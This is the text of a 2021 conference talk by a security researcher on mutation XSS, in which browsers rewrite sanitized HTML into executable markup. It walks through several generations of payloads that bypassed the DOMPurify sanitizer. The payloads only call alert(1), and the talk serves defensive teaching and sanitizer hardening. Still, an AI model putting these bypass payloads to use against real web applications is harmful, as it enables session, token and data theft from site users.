
  

mXSS in 2021One long solved problem?
A talk for Swiss Cyber Storm 2021.
Dr.-Ing. Mario Heiderich.
mario@cure53.de || Signal: +49 1520 8675782

mXS-what? What is mXSS and why was, 
is and why will that continue to be a 
problem?
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Our Dear Speaker
● Dr.-Ing. Mario Heiderich

● Ex-Researcher and now Lecturer, Ruhr-Uni Bochum
● PhD Thesis about Client Side Security and Defense
● Runs the course “Web & Browser-Security” at RUB

● Founder & Director of Cure53 
● Pentest- & Security-Firm located in Berlin
● Security, Consulting, Workshops, Trainings
● The Best Company in the World, or even better

● Published Author and Speaker
● Specialized on HTML5, DOM and SVG Security
● JavaScript, XSS and Client Side Attacks

● Maintains DOMPurify
● A top notch JS-only Sanitizer, also, couple of other projects

● Can be reached out to as follows
● mario@cure53.de
● +49 1520 8675782
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First Act

XSS



  

We all know it
● Cross-Site Scripting, also known as XSS

● Technically the wrong name, but...
● What does XSS actually do?

● Very simple, think „injected script does things”
● Turns a website into the attacker‘s accomplice
● Together, attacker and the accomplice target other users of 

that website
● And then, they steal, alter, delete information and cause bad 

things to happen. 
● And all that happens via JavaScript injections and resulting 

DOM manipulations

https://www.youtube.com/watch?v=Vu7bzI2Hms0


  

Harmless HTTP Request
GET /manager/?user=Karen HTTP/1.1

Host: www.cure53.de

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:69.0) 
Gecko/20100101 Firefox/69.0

Accept: 
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Name: Value



  

Harmless Response
HTTP/1.1 200 OK

Cache-Control: no-cache, no-store, must-revalidate

Pragma: no-cache

Content-Type: text/html; charset=utf-8

Expires: -1

Vary: Accept-Encoding

Server: Microsoft-IIS/10.0

Date: Mon, 07 Oct 2019 15:31:25 GMT

Connection: close

Content-Length: 68377

<!doctype html>

<html lang="de" class="no-js html--rwd">

<head></head>

<body>Hello, Karen! I am the manager</body>

</html>



  

Slightly shady Request
GET /manager/?user=<script>alert(1)</script> HTTP/1.1

Host: www.cure53.de

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:69.0) 
Gecko/20100101 Firefox/69.0

Accept: 
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Name: Value



  

Hah, XSS. Hello, accomplice!
HTTP/1.1 200 OK

Cache-Control: no-cache, no-store, must-revalidate

Pragma: no-cache

Content-Type: text/html; charset=utf-8

Expires: -1

Vary: Accept-Encoding

Server: Microsoft-IIS/10.0

Date: Mon, 07 Oct 2019 15:31:25 GMT

Connection: close

Content-Length: 68377

<!doctype html>

<html lang="de" class="no-js html--rwd">

<head></head>

<body>Hello, <script>alert(1)</script>! Oh dear.</body>

</html>



  

And now what?
● Now, it’s time to develop an actual exploit, because an 

„alert“ ain‘t hurting nobody it don‘t
● Maybe steal plaintext passwords from inputs
● Maybe redirect Links & Forms
● Maybe steal juicy Anti-CSRF tokens
● Maybe install a „Monero Miner“
● Maybe register a „Service Worker“
● Maybe start the webcam or microphone

● Whatever you feel like, really, the DOM is powerful



  

And how can we prevent all this?
● We avoid...

● Echoing data just so that comes in via GET, POST etc.
● Storing or passing on data without any filtering or sanitization
● Making bad mistakes with filtering, encoding or escaping 

● Instead we...
● Treat any user-controlled data using the right methods
● Gain awareness over all the contexts, HTML, JS, SVG, CSS...
● Use securely configured Cookies, HTTP Header & maybe CSP LOL

● Are super careful with the DOM, because there is still DOMXSS



  

Alright, that was it!
● Thank you very much!
● Any questions? 

● mario@cure53.de
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WAIT A SECOND!
We got some time left don't we?



  

“Did the all the right things...Still not secure.”
● What would happen if...

● We properly secure our application against XSS
● And all the XSS attacks are mitigated
● We did the right thing, didn’t forget a single spot
● But still, not safe from XSS attacks? What?



  

Second Act

mXSS



  

The things browsers do
● Browsers do a lot of things in the background

● Lots of things because they have to
● Other things because, well, because they can
● And some things just for good looks and performance

● We can have a look at a few simple examples
● Let’s open a text file, shall we? Yes? Just TXT?
● Or an image file for what it’s worth, no?
● Or we just feed the browser broken HTML, no?



  

Okay...
● So the browser changes what we feed to it

● In such way that it’s better for the browser
● To, for example, not overwhelm the fragile „Layout-Engine“
● And that's good, especially for robustness & performance
● Faster rendering, fewer crashes, let the parser handle it!

● But is that the secure way to go?
● Of course not, sheesh. Why are we here again? :D



  

Let’s look at a real-life app!
● Let's take a very typical web application, why not a Web Mailer
● What does such an application mostly do?

● It hosts and harbors very sensitive data ✔️
● It shows data to the user that can contain anything ✔️
● It processes very complex stuff. HTML Mails, Attachments, diverse 

„charsets“, anything, really ✔️
● It’s gotta be accessible, fast and pretty and well designed ✔️
● It needs to really work well in all modern browsers ✔️
● It needs to be really powerful, „Rich Text Editor“, address book,... ✔️

● That’s hell lot of requirements for a web application 
● And therefore, the perfect target for attacks



  

“Make secure, now! But how??”
● Well, primary attack vector are mails containing HTML
● Web Mailers usually clean that HTML on the server

1) Mail arrives on the mail server, web mailer notices
2) Server-side code grabs the mail, looks at its content
3) Server-side code cleans it up (no Scripts, no Events, etc.)
4) Server-side code says “okay” and sends it over to the Browser
5) Browser parses and renders HTML, User is very happy

● Sounds secure? Yes? It’s not. Thanks, Browser.



  

Why no secure? Why??
● Because the browser sometimes changes too much.
● And turns safe HTML... into unsafe HTML.

● That does not sound good, doesn’t it?
● Let’s have a look together.



  

mXSS Examples
● First mXSS Generation

● <p style="font-family:'test\27\3bx:expression(alert(1));test'">123</p>
● <p style="font-family:'test,;x:expression(alert(1));test'">123</p>
●  <p style="font-fa\22\33\3cimg\20src\3dx\20onerror\3d\61lert\
28\31\29\3emily:'test'">123</p>

● Second mXSS Generation
● 1<article xmlns='"><img src=x onerror=alert(1)'>123</article>
● 1<div='/x=&#39&gt&lt;iframe/onload=alert(1)&gt>
● <x/><title>&amp;lt;/title&amp;gt;&amp;lt;img src=1 onerror=alert(1)&gt;

● Third mXSS Generation
● a<svg><xss><desc><noscript>&lt;/noscript>&lt;/desc>&lt;s>&lt/
s>&lt;style>&lt;a title="&lt;/style>&lt;img src onerror=alert(1)>">

● <math><mtext><option><FAKEFAKE><option></
option><mglyph><svg><mtext><style><a title="</style><img src='#' 
onerror='alert(1)'>">



  

3rd Generation mXSS in Detail
● Let’s now have a look at a classic 3rd Generation mXSS example
● This example did affect DOMPurify, the bypass was discovered 

internally and not so super bad.
● Because it only worked in case a very unlikely config option was set
● So we thought to ourselves, „ez gg, not a big issue, let’s just fix it lol.“ 

● Well, let’s try to explain every single step of the attack
● It’s technically not very complicated
● In case you know what exactly happens and why.

We were of course wrong.
As usual



  

<noscript>
<p title="</noscript><img src=x 

onerror=alert(1)>">



  

<noscript>
<p title="</noscript><img src=x 

onerror=alert(1)>">
</noscript>

JavaScript is off. At least “inside”, 
inside the Sanitizer document Why? 
Because we parse using DOMParser. 
No JavaScript.

DOMPurify thinks “okay, all good.”



  

<noscript>
<p title="</noscript><img src=x 

onerror=alert(1)>">
</noscript>

“All good” because… all bad stuff is 
locked inside an attribute!



  

<noscript>
<p title="</noscript><img src=x 

onerror=alert(1)>">

However later, in the browser, 
JavaScript is ofc active! Otherwise 
we wouldn’t need our sanitizer in 
the first place.

So, everything changes. Oh dear!



  

And now, drum-roll, is that a problem?



  

Oooooh shiiii…



  
InnerHTML… 

Ok, Boome… Google.



  

Check it out on YouTube
https://is.gd/oRNBLZ 

And on Github
https://is.gd/SdP0SK  

https://is.gd/oRNBLZ
https://is.gd/SdP0SK


  

But it’s gonna get worse.
● In autumn 2019, it seems, an mXSS season began

● DOMPurify was being bypassed several times in a row
● First bypass was spotted by Micha  Bentkowskił Bentkowski

● Then, several other ones “internally” discovered, by Masato
● There was two different root causes back then

● Predictable Changes in markup-type force a change of 
parser

● Unpredictable Changes in markup-type force a change of 
parser

^ Type as in HTML, SVG, etc.



  

mXSS Root-Cause Number One
● Predictable Changes in markup-type force a 

change of parser
● Browser first thinks it’s XML, then oh, it’s HTML
● Once the browser re-decides, ofc, other rules apply
● This is especially for Style-Elements
● And because of that, we get a bypass! mXSS.



  

<svg></p><style>
<a id="</style><img src=1 

onerror=alert(1)>">



  

<svg></p><style>
<a id="</style><img src=1 

onerror=alert(1)>">

So, here we have a broken P 
element. The browser will likely just 
remove it, no?



  

<svg><p></p><style>
<a id="</style><img src=1 

onerror=alert(1)>">

Not true. Chrome for example repaired 
the element. And that lead to changing 
the parser. Boom, mXSS.



  

mXSS Root-Cause Number Two
● Unpredictable Changes in markup-type force a 

change of parser
● Browser first thinks it’s XML or maybe HTML
● Then, an element gets removed!
● Element content stays, which is often the case
● The browser gets, well, „confused“
● And that causes a bypass to happen, boom. mXSS.



  

<noembed><svg><b><style><b 
title='</style><img src=x 

onerror=alert(1)>'>



  

<noembed><svg><b><style><b 
title='</style><img src=x 

onerror=alert(1)>'>



  

<noembed><svg><b><style><b 
title='</style><img src=x 

onerror=alert(1)>'>

This element needs to go but 
its content needs to stay.



  

<noembed><svg><b><style><b 
title='</style><img src=x 

onerror=alert(1)>'>

Ooops, this changes the type. 
From CDATA to actual XML!



  

<noembed><svg></svg><b></b>
<style><b 

title='</style><img src=x 
onerror=alert(1)>'>

Oh, FFS…



  

Third Act

And now?



  

That’s… not so nice
● First, things are all harmless

● The sanitizer receives the HTML, looks at it
● Doesn’t find anything that looks bad
● Says “okey dokey” and hands it back to the browser
● And then boom, mXSS

● And it’s almost not the browser’s fault!
● In one context, this set of rules applies
● In another context, other sets of rules apply
● And how are browser & sanitizer supposed to know?



  

<math><mtext><a 
title='one'><audio>aa<altglyphdef> 
<animatecolor><filter><fieldset><a 
title='two'></fieldset>ccd</a>gg<mgl
yph><svg><mtext><style> <a title='</
style><img src=# onerror=alert(1)>'>



  

Do what now?
● There are a bunch of things we can get done
● Some of them are of tactical, others of strategic nature
● From a tactical point of view

● We can build better sanitizers for developers to use
● We try to navigate around everything SVG, MathML, XML-ish 
● We try to navigate around user-controlled CSS, but that’s prio 2

● From a strategic point of view
● We get the sanitizer to be inside the browser
● We rewrite the standards, including HTML
● Or, we change jobs and become a gardener



  

And who’s gonna do all that?
● Well, us, no?
● From a tactical point of view

● Enhance DOMPurify and harden it further
● Note that we are “hyper-tolerant by default”

● From a strategic point of view
● Sanitization has meanwhile arrived in the browser
● The standards have been adjusted here and there
● HTML will likely change soon, things point that direction

● The level of awareness is growing. Folks now want to fix this.



  

Let‘s have look here
● Back then, 2016, first attempt

● https://www.youtube.com/watch?v=KIRvxYqk_Wc
● Then here, 2018, Schloss Dagstuhl

● https://www.dagstuhl.de/en/program/calendar/semhp/?semnr=18321
● And now, 2021, finally!

● https://wicg.github.io/sanitizer-api/ 

https://www.youtube.com/watch?v=KIRvxYqk_Wc
https://www.dagstuhl.de/en/program/calendar/semhp/?semnr=18321
https://www.dagstuhl.de/en/program/calendar/semhp/?semnr=18321
https://wicg.github.io/sanitizer-api/


  

Next Steps
● Keep maintaining JavaScript based sanitizers

● Things could be worse, protection levels are quite good
● Keep pushing development of Browser-based sanitizers

● Things are in motion, first implementations in FF and Chrome!
● Keep exploring the mXSS attack surface

● Good starting point? Jsdom! („oh dear...“)
● And piece by piece get closer to be able to handle Markup 

securely, despite weird HTML, SVG & MathML Cocktails



  

Now, that was it, for real :)
● Many thanks!
● Got any questions? 

● mario@cure53.de
● Thanks also go out to...

● Micha  Bentkowski, Gareth Heyes, Freddy Braun, ł Bentkowski
Jun Kokatsu, Masato Kinugawa, Mike West, Daniel Vogelheim, 
Yifan Luo and many others who helped on this journey

mailto:mario@cure53.de
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